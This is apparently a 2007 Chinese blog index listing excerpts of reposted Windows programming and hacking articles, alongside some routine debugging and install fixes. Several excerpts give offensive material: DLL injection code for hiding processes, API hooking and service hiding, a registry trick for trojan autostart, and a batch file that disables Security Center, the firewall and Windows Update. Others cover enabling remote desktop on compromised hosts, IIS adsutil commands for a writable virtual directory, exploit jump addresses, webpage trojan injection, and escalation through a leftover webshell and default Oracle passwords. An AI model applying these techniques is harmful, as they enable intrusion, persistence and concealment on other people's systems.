酒水不犯茶水

LNK1103: debugging information corrupt; recompile module

摘要: Linking...
Creating library Debug/xxx.lib and object Debug/xxx.exp
uuid.lib(comcat.obj) : fatal error LNK1103: debugging information corrupt; recompile module
Error executing link.exe.
.........
阅读全文

posted @ 2007-05-31 17:25 009 阅读(7404) | 评论 (6) | 编辑收藏

控制台下输出DLL的调试信息(ZT)

摘要: 在cmd.exe下运行rundll32.exe mydll.dll,MyFunc ,本想直接在当前cmd窗口输出调试信息.
可因rundll32是Win32 GUI程序而非Win32 console,所以cmd.exe标准输入输出句柄无法被mydll.dll继承用来向父进程cmd.exe输出数据.
这时, 如果用强行用GetStdHandle获得句柄,然后用WriteConsole来进行输出,则会发生无效句柄错误.
但是如果在这之前先AllocConsole,则可正常WriteConsole,但是会新建个控制台窗口来输出数据,很不爽 :-P

有没有什么办法向当前cmd.exe窗口输出数据呢?
.............
阅读全文

posted @ 2007-05-31 14:22 009 阅读(1173) | 评论 (0) | 编辑收藏

char *和char [ ]的区别(ZT)

摘要: 见程序如下：

#include "stdafx.h"
#include "string.h"
#include "stdio.h"
int main(int argc, char* argv[])
{
char source[]="This is a source sentence";
//char *source="This is a source sentence";
strtok(source,"a");
printf("%s\n",source);
return 0;
}

如果用被注释掉的那句话，程序运行的时候就报错。
................

阅读全文

posted @ 2007-05-31 13:25 009 阅读(442) | 评论 (0) | 编辑收藏

Windows下的进程隐藏(ZT)

摘要: 9X环境中Windows提供了想光的API函数用于隐藏系统进程。但是到了2000以上系统，已经无法真正的做到对于进程的隐藏，除非编写底层驱动。但是我们可以通过一些变通的办法来达到隐藏进程的目的，其中一个就是远程注入。简单的说就是先编写一个 API的DLL，然后将这个DLL库注入到一个系统进程中，作为它的一个线程去执行。
要实现DLL注入，首先需要打开目标进程。
hRemoteProcess = OpenProcess(　PROCESS_CREATE_THREAD | //允许远程创建线程
　　　 PROCESS_VM_OPERATION　| //允许远程VM操作
　　　 PROCESS_VM_WRITE,　//允许远程VM写
　　　 FALSE, dwRemoteProcessId )
...........
阅读全文

posted @ 2007-05-31 12:25 009 阅读(688) | 评论 (0) | 编辑收藏

ApiHook类(ZT)

摘要: // 头文件
// ApiHook.h: interface for the CApiHook class.
//
//////////////////////////////////////////////////////////////////////

#ifndef API_HOOK_H
#define API_HOOK_H

class CApiHook
{
public :
HANDLE hProc ;
............
阅读全文

posted @ 2007-05-31 11:38 009 阅读(758) | 评论 (1) | 编辑收藏

APIHOOK之拦截OpenProcess（真正的实现了拦截TerminateProcess）(ZT)

摘要:
关于API HOOK（OpenProcess)，根据网上文章改写
以下是部分程序，在VC++6.0 Plat SDK 2003 SP1下编译通过

#include <windows.h>
#include "APIHook.h"

extern CAPIHook g_OpenProcess;

// 自定义OpenProcess函数
#pragma data_seg("YCIShared")
HHOOK g_hHook = NULL;
DWORD dwCurrentProcessId=0;
#pragma data_seg()

HANDLE WINAPI Hook_OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId)
.................
阅读全文

posted @ 2007-05-31 11:33 009 阅读(2960) | 评论 (0) | 编辑收藏

APIHOOK之杀毒软件的简单实现(ZT)

摘要: #define DEBUGMSG

#include <windows.h>
#include <windef.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "Psapi.h"

#pragma comment (lib,"Psapi.lib")

#define erron GetLastError ()

TCHAR name[50]=""; //保存虫虫的文件名+路径
FILE *Gfp=NULL; //输出到文件

BOOL ScanVXER (LPTSTR V_FileName,long V_FileOffset,int V_Length,TCHAR *V_Contents);
//匹配特征码函数
.......................
阅读全文

posted @ 2007-05-31 11:31 009 阅读(514) | 评论 (0) | 编辑收藏

应用层隐藏服务的项目(ZT)

摘要: 应用层隐藏服务的项目 2006-03-28
HideService
　

// *****************************************************************************//
//
// 文件名: AgentHk.cpp
// 所属项目名称：
// 所属模块名称： AGENT Service Hook
// 所属项目版本： 2.0
// 文件用途 :
// 文件作者 : horse_b
// 创建日期 : 2004-11-30
//
// 文件修改说明：
// 文件修改人：
// 修改日期：
//
//
//
//********************************************************************************//
.............
阅读全文

posted @ 2007-05-31 10:37 009 阅读(898) | 评论 (0) | 编辑收藏

启动项新思路

摘要: 前几天我看了一篇技术文章，是讲述一种病毒的感染运行机制。原文中提到了一个木马启动的新的思路。（文章是两年前的，唉，看来我们要学的东西好多阿）也许某些 ~高手已经会了，但是很多人也不知道。我整理出来，结合我自己的试验，给大家简单介绍一下。作为一个小教程，本文不涉及程序方面的知识，菜鸟老鸟都能看明白的。暂时我们只针对XP和2000系统。其他的系统我没测试过，不敢乱说！

一般大家机器里都会有QQ吧，我们就用QQ来做试验！！?

直接在开始菜单里找到运行栏，输入regedit，打开注册表编辑器。找到
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]
.........
阅读全文

posted @ 2007-05-22 22:57 009 阅读(390) | 评论 (1) | 编辑收藏

一个VBS代码

posted @ 2007-05-16 16:06 009 阅读(625) | 评论 (0) | 编辑收藏

WSUS3安装完毕，WSUS.MSC不能执行

摘要: 风马牛不相及的垃圾提示：

MMC 不能打开文件 C:\Program Files\Update Services\administrationsnapin\wsus.msc。
这可能是由于文件不存在，不是一个 MMC 控制台，或者用后来版本的 MMC 创建。也可能是由于您没有访问此文件的足够权限。

解决方法：

安装KB907265补丁，中文Windows2003补丁地址为：http://download.microsoft.com/download/4/4/3/443ecb98-2394-4c92-b9e6-c50998edb8cf/WindowsServer2003-KB907265-x86-CHS.exe
阅读全文

posted @ 2007-05-15 19:25 009 阅读(765) | 评论 (0) | 编辑收藏

WSUS3安装中途出错

摘要: 2007-05-15 18:19:20 Success MWUSSetup Validating pre-requisites...
2007-05-15 18:19:21 Error MWUSSetup Failed to determine if an higher version of WSUS is installed. Assuming it is not... (Error 0x80070002: 系统找不到指定的文件。)
2007-05-15 18:19:24 Success MWUSSetup Required MMC Version: 3. Current MMC Version: 2
2007-05-15 18:19:24 Success MWUSSetup Required MMC Version: 3. Current MMC Version: 2
2007-05-15 18:19:57 Success MWUSSetup 阅读全文

posted @ 2007-05-15 18:47 009 阅读(2433) | 评论 (4) | 编辑收藏

Vista错误删除了备份驱动目录FileRepository后解决方法

摘要: 网上的东西真是没多少可以相信的，我的Vista删除了FileRepository目录之后，USB不能用了，蓝牙不能用了，设备管理器一堆感叹号，更新驱动，塞Vista安装盘也没用，折腾了N久了，最近终于解决了（不要随便相信所谓的“减肥”）
下载IMAGEX6000
将VISTA安装光盘中的WIM文件解压
以管理员模式运行命令提示符 IMAGEX.EXE /APPLY X:\SOURCES\INSTALL.WIM 4 X:\A 路径自己改，目录需先手工创建，4为U版
完成后把X:\A\Windows\System32\DriverStore\FileRepository中的文件复制回去就行了,不用重装系统!
真想减肥，使用NTFS压缩方式压缩一下，其他就算了，以防万一
阅读全文

posted @ 2007-05-15 18:43 009 阅读(5239) | 评论 (5) | 编辑收藏

网页木马US-ASCII码,unicode码的加密解密(ZT)

摘要: 转载:二少's Blog

US-ASCII加密,就是把7bit转换为8bit

阅读全文

posted @ 2007-05-12 21:06 009 阅读(340) | 评论 (0) | 编辑收藏

利用ORACLE系统账户默认口令提升权限(ZT)

摘要:
近日，偶到一主机上逛了一圈。主机的配置还算是安全，偏偏一个比较隐藏的目录下残留了upfile.asp，结果轻轻松松的得到了webshell。

接着在主机上逛了逛，拿出superscan从外面扫了下，只开放了80端口。从user\程序目录里，发现有一快捷方式：firecontrol，好象是某款硬件防火墙的控制台。WEBSHELL下检测了下开放的服务，发现一般的可提权的方法都不可行，无SERV-U等等，主机的补丁也是打到了最新。试了下传了个NC上去，反连接得到一SHELL，这下比在老兵的管理器里舒服多了。

在C盘下看到一个目录oracle，看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件，确定了主机的服务名“xxx”，看了下版本“oracle 8i”，用数据库连接器

............. 阅读全文

posted @ 2007-04-30 14:37 009 阅读(265) | 评论 (0) | 编辑收藏

命令行添加程序到windows默认防火墙

摘要: @echo off
net stop "Security Center"
net stop SharedAccess
reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess" /v Start /t REG_DWORD /d 0x4 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /v Start /t REG_DWORD /d 0x4 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v Start /t REG_DWORD /d 0x4 /f
阅读全文

posted @ 2007-04-22 12:25 009 阅读(299) | 评论 (0) | 编辑收藏

“PE文件格式”1.9版完整译文（附注释）

摘要: 标题: 【翻译】“PE文件格式”1.9版完整译文（附注释）
作者: ah007
时间: 2006-02-28,13:32
链接: http://bbs.pediy.com/showthread.php?threadid=21932

$Id: pe.txt,v 1.9 1999/03/20 23:55:09 LUEVELSMEYER Exp $

PE文件格式系列译文之一----
【翻译】“PE文件格式”1.9版完整译文（附注释）
=========================================================
原著：Bernd. Luevelsmeyer
翻译：ah007

[注意：本译文的所有大小标题序号都是译者添加，以方便大家阅读。圆圈内的数字是注释的编号，其中注释②译自微软的《PECOFF规范》，其它译自网络。----译者]
......... 阅读全文

posted @ 2007-04-13 17:58 009 阅读(1014) | 评论 (0) | 编辑收藏

脚本加密方法大全(ZT)

摘要: 本文一共介绍了七种方法：
一：最简单的加密解密
二：转义字符"\"的妙用
三：使用Microsoft出品的脚本编码器Script Encoder来进行编码（自创简单解码）
四：任意添加NUL空字符（十六进制00H）（自创）
...................
阅读全文

posted @ 2007-04-13 12:22 009 阅读(371) | 评论 (0) | 编辑收藏

一些opcodes(ZT)

摘要: 近日在写exploit的时候需要用到一些其他语言的call ebx的跳转地址，但是metasploit的opcode DB没有包括繁体中文、日文、韩文机器的跳转地址，所以费了点时间收集了下，在这里要感谢傲少提供的机器给我去找地址。现在贴到这里，方便大家。

简体中文windows的通用跳转地址：(2k/XP/2k3)
0x7ffa45f3 jmp ecx \xff\xe1
0x7ffa4967 jmp ebp \xff\xe5
0x7ffa4a1b jmp ebx \xff\xe3
..............
阅读全文

posted @ 2007-04-10 11:48 009 阅读(256) | 评论 (0) | 编辑收藏

开3389的几种方法(留帖备查)

摘要: 1.打开记事本，编辑内容如下：
echo [Components] > c:\sql
echo TSEnable = on >> c:\sql
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
编辑好后存为BAT文件，上传至肉鸡，执行。这里值得注意的是要确定winnt是否在c盘，如果在其他盘则需要改动。
...................

阅读全文

posted @ 2007-04-10 11:40 009 阅读(314) | 评论 (0) | 编辑收藏

adsutil.vbs

摘要: web 和数据分离,有Pcanywhere,数据库服务器有 IIS,
cscript.exe c:\inetpub\adminscripts\adsutil.vbs get w3svc/1/serverbindings 得到第一个Web服务的端口
cscript.exe c:\inetpub\adminscripts\adsutil.vbs create w3svc/1/root/wodexi/ IisWebVirtualDir创建一个虚拟目录wodexi
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/path c:\ 设置路径
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi/accesswrite 1设置写权限
cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/1/root/wodexi 阅读全文

posted @ 2007-04-10 11:32 009 阅读(758) | 评论 (0) | 编辑收藏

挂马代码大全(ZT)

摘要: 一:框架挂马

二:js文件挂马

首先将以下代码
document.write("");
保存为xxx.js，
则JS挂马代码为

三:js变形加密

muma.txt可改成任意后缀
.............
阅读全文

posted @ 2007-04-09 11:39 009 阅读(238) | 评论 (0) | 编辑收藏

水果机密码解码 "密码公式" 看了就知道怎么打暴机了(ZT)

摘要: 笨驴的老虎机一共有7个赌项，分别是：

bar，赔率50，出现概率1/22（不明白为什么用这个词，英语达人来讲讲，偶门家乡管这个叫大50）；
77，赔率30，出现概率1/11；
西瓜，赔率10，出现概率1/11；
星星，赔率8，出现概率3/22；
铃当，赔率6，出现概率3/22；
木瓜，赔率4，出现概率2/11；
苹果，赔率2，出现概率3/11；
...................
阅读全文

posted @ 2007-04-09 11:11 009 阅读(16181) | 评论 (2) | 编辑收藏

用ntfs流隐藏文件(zt)

摘要: 大家把ntfs分区上的文件拷贝到非ntfs分区上时, 可能偶尔遇到过下面的情况, 系统提示会有数据丢失, 这是怎么回事呢?

实际上ntfs文件系统引入了"流"这个概念, 每个文件都可以有多个流, 而我们一般只使用了一个, 通过给文件分配更多的流, 可以实现某种意义上的"文件隐藏". 例如可以控制台中使用下面的命令建立一个文本文件:
dir d:>abc.txt
............
阅读全文

posted @ 2007-04-05 21:52 009 阅读(944) | 评论 (0) | 编辑收藏

冰刃IceSword FAQ 进程、端口、服务篇(ZT)

摘要: 问：现在进程端口工具很多，什么要使用IceSword？
答：1、绝大多数所谓的进程工具都是利用Windows的Toolhlp32或psapi再或ZwQuerySystemInformation系统调用（前二者最终也用到此调用）来编写，随便一个ApiHook就可轻轻松松干掉它们，更不用说一些内核级后门了；极少数工具利用内核线程调度结构来查询进程，这种方案需要硬编码，不仅不同
版本系统不同，打个补丁也可能需要升级程序，并且现在有人也提出过防止此
种查找的方法。而IceSword的进程查找核心态方案是目前独一无二的，并且
充分考虑内核后门可能的隐藏手段，目前可以查出所有隐藏进程。
2、绝大多数工具查找进程路径名也是通过Toolhlp32、psapi，前者会调用RtlDebug***函数向目标注入远线程，后者会用调试api读取目标进程内存，本质上都是对PEB的枚举，前面我的blog提到过轻易修改PEB就让这些工具找不到北了。而IceSword的核心态方案原原本本地将全路径展示，就算运行时剪切到其他路径也会随之显示。
3、进程dll 阅读全文

posted @ 2007-04-04 15:15 009 阅读(433) | 评论 (0) | 编辑收藏

公告

常用链接

留言簿(113)

随笔分类

随笔档案

文章分类

相册

Link

搜索

最新评论

阅读排行榜

评论排行榜

酒水不犯茶水叶的离去，是风的追求还是树的不挽留？
BlogJava \| 首页 \| 发新随笔 \| 发新文章 \| 联系 \| 聚合 \| 管理	随笔：325 文章：0 评论：612 引用：0